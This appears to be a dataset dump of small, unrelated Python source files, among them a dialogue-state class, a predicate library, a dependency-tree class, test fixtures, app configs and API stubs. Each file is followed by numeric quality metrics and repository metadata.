# -*- coding: utf-8 -*- class DialogueState(object): def __init__(self): self.__state = {'TEACHER': None, 'SUBJECT': None, 'REPLY': None, 'PICTURE': None} def update(self, dialogue_act): self.__state['TEACHER'] = dialogue_act.get('TEACHER', self.__state['TEACHER']) self.__state['SUBJECT'] = dialogue_act.get('SUBJECT', self.__state['SUBJECT']) self.__state['REPLY'] = dialogue_act.get('REPLY', self.__state['REPLY']) self.__state['PICTURE'] = dialogue_act.get('PICTURE', self.__state['PICTURE']) def has(self, name): return self.__state.get(name, None) != None def get_area(self): return self.__state['SUBJECT'] def get_food(self): return self.__state['TEACHER'] def get_budget(self): return self.__state['REPLY'] def clear(self): self.__init__() def __str__(self): import pprint return pprint.pformat(self.__state)
29.8125
89
0.624738
114
954
4.807018
0.263158
0.229927
0.116788
0.104015
0
0
0
0
0
0
0
0.001333
0.213836
954
32
90
29.8125
0.729333
0.022013
0
0
0
0
0.131974
0
0
0
0
0
0
1
0.380952
false
0
0.047619
0.190476
0.714286
0.095238
0
0
0
null
1
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
1
0
0
0
1
0
0
0
3
b58c9110a2f68c755c78db97786aec049c2e4f32
182
py
Python
src/pygictower/__init__.py
gaogaotiantian/pygictower
68edbcbb2b596b4a83f283a615b8c2756500ea5c
[ "Apache-2.0" ]
null
null
null
src/pygictower/__init__.py
gaogaotiantian/pygictower
68edbcbb2b596b4a83f283a615b8c2756500ea5c
[ "Apache-2.0" ]
null
null
null
src/pygictower/__init__.py
gaogaotiantian/pygictower
68edbcbb2b596b4a83f283a615b8c2756500ea5c
[ "Apache-2.0" ]
1
2020-10-08T05:47:22.000Z
2020-10-08T05:47:22.000Z
# Licensed under the Apache License: http://www.apache.org/licenses/LICENSE-2.0 # For details: https://github.com/gaogaotiantian/pygictower/blob/master/NOTICE __version__ = "0.0.1"
36.4
79
0.769231
27
182
5.037037
0.851852
0
0
0
0
0
0
0
0
0
0
0.02994
0.082418
182
4
80
45.5
0.784431
0.846154
0
0
0
0
0.2
0
0
0
0
0
0
1
0
false
0
0
0
0
0
1
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
1
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
3
b5a435b4d3ba0aac36fc0cbf56ae4523b8a16741
3,401
py
Python
easypy/predicates.py
Roynecro97/easypy
9f36732b558477557b8a57cfad2840767eff0d12
[ "BSD-3-Clause" ]
7
2020-03-23T08:30:29.000Z
2020-12-05T14:51:49.000Z
easypy/predicates.py
Roynecro97/easypy
9f36732b558477557b8a57cfad2840767eff0d12
[ "BSD-3-Clause" ]
null
null
null
easypy/predicates.py
Roynecro97/easypy
9f36732b558477557b8a57cfad2840767eff0d12
[ "BSD-3-Clause" ]
6
2020-04-28T12:20:14.000Z
2022-02-15T15:01:42.000Z
class Predicate(object): def test(self, obj): raise NotImplementedError() def __call__(self, obj): return self.test(obj) def __eq__(self, obj): return self.test(obj) def __ne__(self, obj): return not self == obj def __and__(self, other): return And(self, other) def __or__(self, other): return Or(self, other) def __str__(self): return self.describe() def __repr__(self): return "<%s>" % self def describe(self, variable="X"): return self._describe(variable) + "?" def _describe(self, variable): raise NotImplementedError() class FunctionPredicate(Predicate): def __init__(self, func, description=None): super(FunctionPredicate, self).__init__() self.func = func if description is None: description = func.__doc__ self.description = description def test(self, obj): if isinstance(obj, FunctionPredicate): return obj.func is self.func else: return self.func(obj) def _describe(self, variable): if self.description: return self.description % dict(var=variable) else: return "%s(%s)" % (self.func,variable) class Equality(Predicate): def __init__(self, value): super(Equality, self).__init__() self.value = value def test(self, obj): if isinstance(obj, Equality): return obj.value == self.value else: return obj == self.value def _describe(self, variable): return "%s==%s" % (variable, str(self.value)) Inequality = lambda value: Not(Equality(value)) class Or(Predicate): def __init__(self, *preds): super(Or, self).__init__() self.preds = map(make_predicate, preds) def test(self, obj): return any(p == obj for p in self.preds) def _describe(self, variable): return " OR ".join("(%s)" % pred._describe(variable) for pred in self.preds) class And(Predicate): def __init__(self, *preds): super(And, self).__init__() self.preds = map(make_predicate, preds) def test(self, obj): return all(p == obj for p in self.preds) def _describe(self, variable): return " AND ".join("(%s)" % pred._describe(variable) for pred in self.preds) class Not(Predicate): def __init__(self, pred): super(Not, self).__init__() self.pred = make_predicate(pred) def test(self, obj): return not self.pred == obj def _describe(self, variable): return "NOT(%s)" % (self.pred._describe(variable),) class _Dummy(Predicate): def __init__(self, retval, description=""): self.retval = retval self.description = description def test(self, other): return self.retval def _describe(self, variable): return self.description IGNORE = _Dummy(True, "ANYTHING") FAIL = _Dummy(False, "NOTHING") def make_predicate(expr): """ common utility for making various expressions into predicates """ if isinstance(expr, Predicate): return expr elif isinstance(expr, type): return FunctionPredicate(lambda obj, type=expr: isinstance(obj, type)) elif callable(expr): return FunctionPredicate(expr) else: return Equality(expr) P = make_predicate
23.618056
85
0.612761
398
3,401
4.997487
0.173367
0.044243
0.060332
0.092509
0.354952
0.273002
0.211161
0.154852
0.154852
0.154852
0
0
0.270509
3,401
143
86
23.783217
0.801693
0.017936
0
0.287234
0
0
0.017148
0
0
0
0
0
0
1
0.308511
false
0
0
0.180851
0.670213
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
1
0
0
0
1
1
0
0
3
a90cd57bbd05c307113f45d237d0935f481e987e
389
py
Python
musicsync/config.py
chrispouliot/musicsync
6a67dab7245a9f2613fbd3aa659487503c032c4f
[ "MIT" ]
1
2018-04-19T01:10:45.000Z
2018-04-19T01:10:45.000Z
musicsync/config.py
moxuz/musicsync
6a67dab7245a9f2613fbd3aa659487503c032c4f
[ "MIT" ]
4
2021-02-08T20:23:18.000Z
2021-06-01T22:09:00.000Z
musicsync/config.py
moxuz/musicsync
6a67dab7245a9f2613fbd3aa659487503c032c4f
[ "MIT" ]
null
null
null
import logging import os logging.basicConfig(level=logging.INFO) logger = logging.getLogger("musicsync") SPOTIFY_CLIENT_ID = os.environ.get("SPOTIFY_CLIENT_ID") SPOTIFY_CLIENT_SECRET = os.environ.get("SPOTIFY_CLIENT_SECRET") SPOTIFY_USER_ID = os.environ.get("SPOTIFY_USER_ID") GPM_EMAIL_ADDRESS = os.environ.get('GPM_EMAIL_ADDRESS') GPM_APP_PASSWORD = os.environ.get('GPM_APP_PASSWORD')
32.416667
63
0.817481
58
389
5.137931
0.362069
0.151007
0.201342
0.191275
0.244966
0
0
0
0
0
0
0
0.064267
389
11
64
35.363636
0.818681
0
0
0
0
0
0.244216
0.053985
0
0
0
0
0
1
0
false
0.111111
0.222222
0
0.222222
0
0
0
0
null
0
1
1
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
1
0
0
0
0
0
3
a92e3f59296daa517ec7c692ad0af70b911befdc
98
py
Python
docs/new-pandas-doc/generated/pandas-plotting-bootstrap_plot-1.py
maartenbreddels/datapythonista.github.io
f78d7b9a8a793fc446c5ba3ee74423433b00fb63
[ "Apache-2.0" ]
null
null
null
docs/new-pandas-doc/generated/pandas-plotting-bootstrap_plot-1.py
maartenbreddels/datapythonista.github.io
f78d7b9a8a793fc446c5ba3ee74423433b00fb63
[ "Apache-2.0" ]
null
null
null
docs/new-pandas-doc/generated/pandas-plotting-bootstrap_plot-1.py
maartenbreddels/datapythonista.github.io
f78d7b9a8a793fc446c5ba3ee74423433b00fb63
[ "Apache-2.0" ]
null
null
null
import numpy as np s = pd.Series(np.random.uniform(size=100)) fig = pd.plotting.bootstrap_plot(s)
24.5
42
0.755102
18
98
4.055556
0.833333
0
0
0
0
0
0
0
0
0
0
0.034091
0.102041
98
3
43
32.666667
0.795455
0
0
0
0
0
0
0
0
0
0
0
0
1
0
false
0
0.333333
0
0.333333
0
1
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
1
0
0
0
0
3
a932412556ef02519dad8913345cdf14b0b382a2
1,833
py
Python
stn/agent.py
yxonic/stn
cb8815b1e2aaa8fe5b398b7b1c211b641d3e3fe1
[ "MIT" ]
5
2019-04-03T00:43:12.000Z
2021-03-12T06:29:05.000Z
stn/agent.py
bigdata-ustc/stn
cb8815b1e2aaa8fe5b398b7b1c211b641d3e3fe1
[ "MIT" ]
1
2019-09-10T12:18:20.000Z
2019-09-10T12:18:20.000Z
stn/agent.py
bigdata-ustc/stn
cb8815b1e2aaa8fe5b398b7b1c211b641d3e3fe1
[ "MIT" ]
3
2019-06-24T11:06:48.000Z
2020-08-09T03:52:35.000Z
"""Spotlight control agents.""" import torch import torch.nn as nn from .util import var class MarkovPolicy(nn.Module): def __init__(self, state_size): super().__init__() self.state_size = state_size self.internal = nn.Linear(state_size, 64) self.pi = nn.Linear(state_size, 3) self.q = nn.Linear(state_size + 3, 1) self.initial_c = nn.Parameter(torch.zeros(state_size)) self.initial_c.data.uniform_(-1., 1.) def forward(self, s_, state, h_): # y = torch.tanh(self.internal(state)) return self.pi(state), None def value(self, state, action, h_): return self.q(torch.cat([state, action], dim=1)) def default_h(self): return None def default_c(self): return torch.tanh(self.initial_c.view(1, -1)) class RNNPolicy(nn.Module): def __init__(self, state_size, hidden_size): super().__init__() self.state_size = state_size self.hidden_size = hidden_size self.rnn = nn.GRU(3, hidden_size, 1) self.pi = nn.Linear(state_size + hidden_size, 3) self.value = nn.Linear(state_size + hidden_size + 3, 1) self.initial_h = nn.Parameter(torch.zeros(self.hidden_size)) self.initial_h.data.uniform_(-1., 1.) self.initial_c = nn.Parameter(torch.zeros(state_size)) self.initial_c.data.uniform_(-1., 1.) def forward(self, s_, state, h_): _, h = self.rnn(s_.view(1, 1, 3), h_) s = self.pi(torch.cat([state, h.view(1, -1)], dim=1)) return s, h def value(self, state, action, h): return self.q(torch.cat([state, h.view(1, -1), action], dim=1)) def default_h(self): return torch.tanh(self.initial_h.view(1, 1, -1)) def default_c(self): return torch.tanh(self.initial_c.view(1, -1))
30.55
71
0.616476
278
1,833
3.848921
0.176259
0.109346
0.06729
0.079439
0.67757
0.648598
0.602804
0.476636
0.418692
0.345794
0
0.023605
0.237316
1,833
59
72
31.067797
0.741774
0.03437
0
0.380952
0
0
0
0
0
0
0
0
0
1
0.238095
false
0
0.071429
0.166667
0.547619
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
1
0
0
0
1
1
0
0
3
a933dc2192a4c94d416eb12098048902f10f95ab
93
py
Python
hpitclient/__init__.py
adlnet-archive/HPIT-python-client
2443eaa46b04e5b92d73632be417a38af93db97e
[ "MIT" ]
3
2017-07-04T03:01:35.000Z
2021-11-08T11:21:13.000Z
hpitclient/__init__.py
adlnet/HPIT-python-client
2443eaa46b04e5b92d73632be417a38af93db97e
[ "MIT" ]
1
2021-06-01T21:59:37.000Z
2021-06-01T21:59:37.000Z
hpitclient/__init__.py
adlnet-archive/HPIT-python-client
2443eaa46b04e5b92d73632be417a38af93db97e
[ "MIT" ]
5
2015-02-02T20:50:07.000Z
2017-05-21T14:32:41.000Z
from .plugin import Plugin from .tutor import Tutor __all__ = [ 'Plugin', 'Tutor', ]
13.285714
26
0.645161
11
93
5.090909
0.454545
0
0
0
0
0
0
0
0
0
0
0
0.236559
93
7
27
13.285714
0.788732
0
0
0
0
0
0.117021
0
0
0
0
0
0
1
0
false
0
0.333333
0
0.333333
0
1
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
1
0
0
0
0
3
a93cd6a0c4b622523903481a1bc7dc3d43d9ea06
353
py
Python
TUGithubAPITest/scenario_test/conftest.py
putishuxiazuo/APITest
0d391b075ca1c17909e4dfba45145e50f6706d6a
[ "MIT" ]
null
null
null
TUGithubAPITest/scenario_test/conftest.py
putishuxiazuo/APITest
0d391b075ca1c17909e4dfba45145e50f6706d6a
[ "MIT" ]
null
null
null
TUGithubAPITest/scenario_test/conftest.py
putishuxiazuo/APITest
0d391b075ca1c17909e4dfba45145e50f6706d6a
[ "MIT" ]
null
null
null
import pytest,os,json from TUGithubAPITest.Evironment import Env @pytest.fixture(scope='module',autouse=True) def env(): yield Env(api_root_url ="https://api.github.com", token = os.environ['token']) #更改sequence,env的值,切换不同的api_root_url @pytest.fixture(scope='module',autouse=True) def just_print(): print('我只是打印一段文本')
19.611111
83
0.699717
46
353
5.26087
0.630435
0.107438
0.14876
0.198347
0.31405
0.31405
0.31405
0
0
0
0
0
0.155807
353
17
84
20.764706
0.812081
0.096317
0
0.222222
0
0
0.152866
0
0
0
0
0
0
1
0.222222
true
0
0.222222
0
0.444444
0.222222
0
0
0
null
0
0
1
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
1
1
0
0
0
0
0
0
3
a953bcd15234b57592d2df47b3a9396dfdb01eab
720
py
Python
examples/modules/module02.py
miraclx/rodio
5c8b5cf3b667c3e640cf0ff3d42053137e5399a6
[ "Apache-2.0" ]
2
2019-07-12T12:53:46.000Z
2021-02-07T20:54:55.000Z
examples/modules/module02.py
miraclx/rodio
5c8b5cf3b667c3e640cf0ff3d42053137e5399a6
[ "Apache-2.0" ]
null
null
null
examples/modules/module02.py
miraclx/rodio
5c8b5cf3b667c3e640cf0ff3d42053137e5399a6
[ "Apache-2.0" ]
null
null
null
import asyncio from rodio import get_running_loop, printfromprocess process = get_running_loop() async def act1(): printfromprocess("act1 sleeping 2 secs") await asyncio.sleep(2) printfromprocess("act1 done sleeping 2 secs") async def act2(): printfromprocess("act2 sleeping 2 secs") await asyncio.sleep(2) printfromprocess("act2 done sleeping 2 secs") process.nextTick(lambda: printfromprocess("module02.py init")) process.nextTick(lambda: printfromprocess("lorem ipsum")) process.nextTick([act1, act2]) process.nextTick(lambda: printfromprocess("dolor sit")) process.nextTick(lambda: printfromprocess("amet consectur")) process.nextTick(lambda: printfromprocess("module02.py exit"))
24.827586
62
0.763889
85
720
6.423529
0.364706
0.164835
0.192308
0.338828
0.344322
0.344322
0.172161
0.172161
0
0
0
0.028571
0.125
720
28
63
25.714286
0.838095
0
0
0.117647
0
0
0.216667
0
0
0
0
0
0
1
0
false
0
0.117647
0
0.117647
0.588235
0
0
0
null
0
1
1
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
1
0
3
a98d63684019894f3543684491caa971d3683c6d
1,657
py
Python
days/07-09-data-structures/code/data_structures_yo.py
pruty20/100daysofcode-with-python-course
f928e209a94024c1fd4e120c41580fed7ab2b90a
[ "MIT" ]
null
null
null
days/07-09-data-structures/code/data_structures_yo.py
pruty20/100daysofcode-with-python-course
f928e209a94024c1fd4e120c41580fed7ab2b90a
[ "MIT" ]
null
null
null
days/07-09-data-structures/code/data_structures_yo.py
pruty20/100daysofcode-with-python-course
f928e209a94024c1fd4e120c41580fed7ab2b90a
[ "MIT" ]
null
null
null
""" Manipulating lists """ # numlist = [1, 2, 3, 4, 5] # # print(numlist) # # numlist.reverse() # print(numlist) # # numlist.sort() # print(numlist) # # for num in numlist: # print(str(num)) # # mystring = 'julian' # mystring_list = list(mystring) # print(mystring_list) # # print(mystring_list[4]) # print(mystring_list.pop()) # # print(mystring_list) # mystring_list.insert(5, 'n') # # print(mystring_list) # mystring_list[0] = 'b' # print(mystring_list) # # del mystring_list[0] # print(mystring_list) # # mystring_list.insert(0, 'm') # print(mystring_list) # # print(mystring_list.pop(0)) # print(mystring_list) # # mystring_list.append('s') # print(mystring_list) # # del mystring_list[0] # print(mystring_list) """ Immutability(cannot be changed) and Tuples -- cannot be edited since are immutable """ # mystring = 'julian' # # l = list(mystring) # t = tuple(mystring) # # print(l) # print(t) # # l[0] = 't' # print(l) # # ## t[0] = 't' --> will throw an exception since is immutable # # # but we can view or return elements from the tuple (t) # for letter in t: # print(letter) """ Dictionaries -- no guarantee that the data will remain in order (they are unordered) """ # pybites = {'julian': 30, 'bob': 33, 'mike': 33} # print(pybites) # # people = {} # people['julian'] = 30 # people['bob'] = 103 # print(people) # # print(people.keys()) # print(people.values()) # print(people.items()) # # for keys in people.keys(): # print(keys) # # for values in people.values(): # print(values) # for keys, values in people.items(): # # print('%s is %d years of age' % (keys, values)) # print(f'{keys} is {values} years of age')
17.62766
82
0.641521
230
1,657
4.53913
0.343478
0.218391
0.195402
0.095785
0.268199
0.240421
0.095785
0.095785
0.095785
0.095785
0
0.018222
0.171998
1,657
93
83
17.817204
0.742711
0.785154
0
null
0
null
0
0
null
0
0
0
null
1
null
true
0
0
null
null
null
0
0
0
null
1
1
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
1
0
0
0
0
0
0
3
a999bf18b8c621a2379690171fffa0cbbea7c1ac
77
py
Python
src/miner/modules/l2_miner/__init__.py
cathook/PTTArticleRecommender
4ee5cf9dbc6d28b9b08f648a05705a0ac82d7aad
[ "MIT" ]
1
2016-06-17T06:57:48.000Z
2016-06-17T06:57:48.000Z
src/miner/modules/l2_miner/__init__.py
cathook/PTTArticleRecommander
4ee5cf9dbc6d28b9b08f648a05705a0ac82d7aad
[ "MIT" ]
null
null
null
src/miner/modules/l2_miner/__init__.py
cathook/PTTArticleRecommander
4ee5cf9dbc6d28b9b08f648a05705a0ac82d7aad
[ "MIT" ]
null
null
null
from modules.l2_miner.real_backend import RealBackend L2Miner = RealBackend
19.25
53
0.857143
10
77
6.4
0.9
0
0
0
0
0
0
0
0
0
0
0.028986
0.103896
77
3
54
25.666667
0.898551
0
0
0
0
0
0
0
0
0
0
0
0
1
0
false
0
0.5
0
0.5
0
1
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
1
0
0
0
0
3
8d12e40ed62facb230fea7bf0d47c5f8413c1cc3
191
py
Python
TF_CONFIG.py
ultradio/ai-platform
6508db068bafb6c397aee91ba7d60f2531c5b03a
[ "Apache-2.0" ]
null
null
null
TF_CONFIG.py
ultradio/ai-platform
6508db068bafb6c397aee91ba7d60f2531c5b03a
[ "Apache-2.0" ]
null
null
null
TF_CONFIG.py
ultradio/ai-platform
6508db068bafb6c397aee91ba7d60f2531c5b03a
[ "Apache-2.0" ]
null
null
null
os.environ["TF_CONFIG"] = json.dumps({  "cluster": {  "worker": ["host1:port", "host2:port", "host3:port"],  "ps": ["host4:port", "host5:port"]  },  "task": {"type": "worker", "index": 1} })
23.875
54
0.560209
24
191
4.416667
0.791667
0
0
0
0
0
0
0
0
0
0
0.035928
0.125654
191
7
55
27.285714
0.598802
0
0
0
0
0
0.486911
0
0
0
0
0
0
0
null
null
0
0
null
null
0
1
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
1
0
0
0
0
0
0
0
0
3
8d289f02cd0f14d5595ad238a414b22f0db86988
403
py
Python
tests/conftest.py
tharte/parsearg
a4b3fba3033c377495e2559e44751efa06a90d7a
[ "MIT" ]
null
null
null
tests/conftest.py
tharte/parsearg
a4b3fba3033c377495e2559e44751efa06a90d7a
[ "MIT" ]
null
null
null
tests/conftest.py
tharte/parsearg
a4b3fba3033c377495e2559e44751efa06a90d7a
[ "MIT" ]
null
null
null
import pytest import argparse from parsearg.data_structures import ( Tree, ) from parsearg.example_trees import ( a_tree, a_dict, a_aa_tree, a_aa_dict, ) @pytest.fixture(scope='session') def get_a_tree(): return a_tree() @pytest.fixture(scope='session') def get_a_aa_tree(): return a_aa_tree() @pytest.fixture(scope='session') def get_a_aa_dict(): return a_aa_dict()
16.791667
38
0.709677
62
403
4.274194
0.306452
0.067925
0.079245
0.283019
0.407547
0.407547
0.407547
0.286792
0.286792
0
0
0
0.173697
403
23
39
17.521739
0.795796
0
0
0.15
0
0
0.052109
0
0
0
0
0
0
1
0.15
true
0
0.2
0.15
0.5
0
0
0
0
null
0
0
1
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
1
0
0
1
0
0
0
3
8d2d1f0e9ac3dcf2a70ac33125f351fcfe76faf8
137
py
Python
configs/ranksort_loss/ranksort_faster_rcnn_r101_fpn_1x_cell_voc_alrp.py
fountain-y/ranksortloss
e9c4ba360b2dd905babb0ed1a445fca588c5ecec
[ "Apache-2.0" ]
1
2021-11-04T09:55:06.000Z
2021-11-04T09:55:06.000Z
configs/ranksort_loss/ranksort_faster_rcnn_r101_fpn_1x_cell_voc_alrp.py
fountain-y/ranksortloss
e9c4ba360b2dd905babb0ed1a445fca588c5ecec
[ "Apache-2.0" ]
null
null
null
configs/ranksort_loss/ranksort_faster_rcnn_r101_fpn_1x_cell_voc_alrp.py
fountain-y/ranksortloss
e9c4ba360b2dd905babb0ed1a445fca588c5ecec
[ "Apache-2.0" ]
1
2021-11-08T01:41:09.000Z
2021-11-08T01:41:09.000Z
_base_ = 'ranksort_faster_rcnn_r50_fpn_1x_cell_voc_alrp.py' model = dict(pretrained='torchvision://resnet101', backbone=dict(depth=101))
45.666667
76
0.817518
20
137
5.1
0.95
0
0
0
0
0
0
0
0
0
0
0.069231
0.051095
137
3
76
45.666667
0.715385
0
0
0
0
0
0.514493
0.514493
0
0
0
0
0
1
0
false
0
0
0
0
0
1
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
1
null
0
0
0
0
0
0
0
0
0
0
0
0
0
3
8d36de18ef76c85e4aa4788df7b1f94f40667905
207
py
Python
basic/bal.py
jspw/Basic_Python
aa159f576a471c6deebdf1e5f462dfc9ffb4930b
[ "Unlicense" ]
6
2020-06-25T14:52:09.000Z
2021-08-05T20:54:15.000Z
basic/bal.py
jspw/Basic_Python
aa159f576a471c6deebdf1e5f462dfc9ffb4930b
[ "Unlicense" ]
null
null
null
basic/bal.py
jspw/Basic_Python
aa159f576a471c6deebdf1e5f462dfc9ffb4930b
[ "Unlicense" ]
null
null
null
def print_fun(): print("Heloo") class bala: Name = "This is Shifat" def shit(self): print("Say my name !") print("I'm in a class") def __str__(self): return self.Name
15.923077
30
0.555556
30
207
3.666667
0.666667
0
0
0
0
0
0
0
0
0
0
0
0.309179
207
13
31
15.923077
0.769231
0
0
0
0
0
0.225962
0
0
0
0
0
0
1
0.333333
false
0
0
0.111111
0.666667
0.444444
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
1
0
0
0
1
0
1
0
3
8d3704717aeb89f0f92c1c9ae3e75a12861eb087
1,529
py
Python
Inflector/src/tree.py
yatbear/mt
5cbc1ff4381bf6bf8325f3fde56cc358ed574e86
[ "MIT" ]
null
null
null
Inflector/src/tree.py
yatbear/mt
5cbc1ff4381bf6bf8325f3fde56cc358ed574e86
[ "MIT" ]
null
null
null
Inflector/src/tree.py
yatbear/mt
5cbc1ff4381bf6bf8325f3fde56cc358ed574e86
[ "MIT" ]
1
2016-08-07T08:33:11.000Z
2016-08-07T08:33:11.000Z
""" Implements a dependency tree. Indices are 1-based. """ class Node: def __init__(self, pair, index): self.parent_index_, self.label_ = pair.split('/') self.parent_index_ = int(self.parent_index_) self.index_ = int(index) self.parent_ = None self.children_ = [] def parent(self): return (self.parent_, self.label_) def parent_index(self): return self.parent_index_ def index(self): return self.index_ def label(self): """Label of the arc pointing to the node's parent.""" return self.label_ def children(self): return self.children_ def __str__(self): return '-%s/%d->' % (self.label_, self.parent_index_) class DepTree: def __init__(self, line): self.nodes_ = [Node('-1/None', 0)] + [Node(x,i+1) for i,x in enumerate(line.rstrip().split())] for node in self.nodes_[1:]: self.nodes_[node.parent_index()].children_.append(node) node.parent = node.parent_index() def root(self): return self.node(0) def node(self, index): return self.nodes_[index] def nodes(self): return self.nodes_ def __iter__(self): """Iterate over the nodes from left to right.""" self.iter_node_ = 1 return self def next(self): if self.iter_node_ >= len(self.nodes_): raise StopIteration else: self.iter_node_ += 1 return self.nodes_[self.iter_node_ - 1]
25.915254
102
0.591236
198
1,529
4.287879
0.272727
0.117786
0.09894
0.045936
0.054181
0.054181
0
0
0
0
0
0.008234
0.285154
1,529
58
103
26.362069
0.768527
0.092217
0
0
0
0
0.011679
0
0
0
0
0
0
1
0.325
false
0
0
0.2
0.65
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
1
0
0
0
1
1
0
0
3
8d56c372fe24473a2ad597c4a29f8749dbd52805
154
py
Python
vbb/libraries/apps.py
VillageBookBuilders/vbb-portal-packend
9563b492aa93f12fdfed41a905ff185182e97dd8
[ "MIT" ]
1
2022-03-30T18:12:49.000Z
2022-03-30T18:12:49.000Z
vbb/libraries/apps.py
VillageBookBuilders/vbb-portal-backend
decdec392f7bd585b73e5554b20c17baea5d133d
[ "MIT" ]
22
2022-02-28T02:37:03.000Z
2022-03-28T02:32:35.000Z
vbb/libraries/apps.py
VillageBookBuilders/vbb-portal-packend
9563b492aa93f12fdfed41a905ff185182e97dd8
[ "MIT" ]
null
null
null
from django.apps import AppConfig class LibrariesConfig(AppConfig): default_auto_field = "django.db.models.BigAutoField" name = "vbb.libraries"
22
56
0.766234
18
154
6.444444
0.888889
0
0
0
0
0
0
0
0
0
0
0
0.142857
154
6
57
25.666667
0.878788
0
0
0
0
0
0.272727
0.188312
0
0
0
0
0
1
0
false
0
0.25
0
1
0
1
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
1
0
0
3
8d7d3cfae9931b99e5d8b0a1a5ec0e8e877a6927
181
py
Python
filer/tests.py
digi604/django-filer
cabe6c21c4d23c53df76a8f4d96bf8df9105cf2b
[ "MIT" ]
1
2015-09-28T10:08:03.000Z
2015-09-28T10:08:03.000Z
filer/tests.py
digi604/django-filer
cabe6c21c4d23c53df76a8f4d96bf8df9105cf2b
[ "MIT" ]
null
null
null
filer/tests.py
digi604/django-filer
cabe6c21c4d23c53df76a8f4d96bf8df9105cf2b
[ "MIT" ]
null
null
null
from django.test import TestCase class FilerTests(TestCase): def test_environment(self): """Just make sure everything is set up correctly.""" self.assert_(True)
30.166667
60
0.701657
23
181
5.434783
0.869565
0
0
0
0
0
0
0
0
0
0
0
0.20442
181
6
61
30.166667
0.868056
0.254144
0
0
0
0
0
0
0
0
0
0
0.25
1
0.25
false
0
0.25
0
0.75
0
1
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
1
0
0
0
0
0
0
0
3
8d7e1efec572ab2d96ed184d93cd0f1d704078c3
135
py
Python
tests/conftest.py
sixers/bqdf
b2b759fabcb947c3589f296aa1f21ecd67ec86da
[ "MIT" ]
null
null
null
tests/conftest.py
sixers/bqdf
b2b759fabcb947c3589f296aa1f21ecd67ec86da
[ "MIT" ]
null
null
null
tests/conftest.py
sixers/bqdf
b2b759fabcb947c3589f296aa1f21ecd67ec86da
[ "MIT" ]
null
null
null
import pytest fixture = pytest.fixture parametrize = pytest.mark.parametrize pending = pytest.mark.skip(reason="Not implemented yet")
22.5
56
0.8
17
135
6.352941
0.647059
0.240741
0
0
0
0
0
0
0
0
0
0
0.103704
135
5
57
27
0.892562
0
0
0
0
0
0.140741
0
0
0
0
0
0
1
0
false
0
0.25
0
0.25
0
1
0
0
null
1
0
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
3
8d859862a82bbd128ce7b20b89d0352818b840a9
1,245
py
Python
release/stubs.min/Autodesk/Revit/DB/__init___parts/UnitGroup.py
YKato521/ironpython-stubs
b1f7c580de48528490b3ee5791b04898be95a9ae
[ "MIT" ]
null
null
null
release/stubs.min/Autodesk/Revit/DB/__init___parts/UnitGroup.py
YKato521/ironpython-stubs
b1f7c580de48528490b3ee5791b04898be95a9ae
[ "MIT" ]
null
null
null
release/stubs.min/Autodesk/Revit/DB/__init___parts/UnitGroup.py
YKato521/ironpython-stubs
b1f7c580de48528490b3ee5791b04898be95a9ae
[ "MIT" ]
null
null
null
class UnitGroup(Enum, IComparable, IFormattable, IConvertible): """ A group of related unit types,primarily classified by discipline. enum UnitGroup,values: Common (0),Electrical (3),Energy (5),HVAC (2),Piping (4),Structural (1) """ def __eq__(self, *args): """ x.__eq__(y) <==> x==yx.__eq__(y) <==> x==yx.__eq__(y) <==> x==y """ pass def __format__(self, *args): """ __format__(formattable: IFormattable,format: str) -> str """ pass def __ge__(self, *args): pass def __gt__(self, *args): pass def __init__(self, *args): """ x.__init__(...) initializes x; see x.__class__.__doc__ for signaturex.__init__(...) initializes x; see x.__class__.__doc__ for signaturex.__init__(...) initializes x; see x.__class__.__doc__ for signature """ pass def __le__(self, *args): pass def __lt__(self, *args): pass def __ne__(self, *args): pass def __reduce_ex__(self, *args): pass def __str__(self, *args): pass Common = None Electrical = None Energy = None HVAC = None Piping = None Structural = None value__ = None
24.9
221
0.570281
143
1,245
4.300699
0.391608
0.130081
0.136585
0.146341
0.209756
0.209756
0.209756
0.18374
0.18374
0.18374
0
0.006826
0.293976
1,245
49
222
25.408163
0.692833
0.394378
0
0.357143
0
0
0
0
0
0
0
0
0
1
0.357143
false
0.357143
0
0
0.642857
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
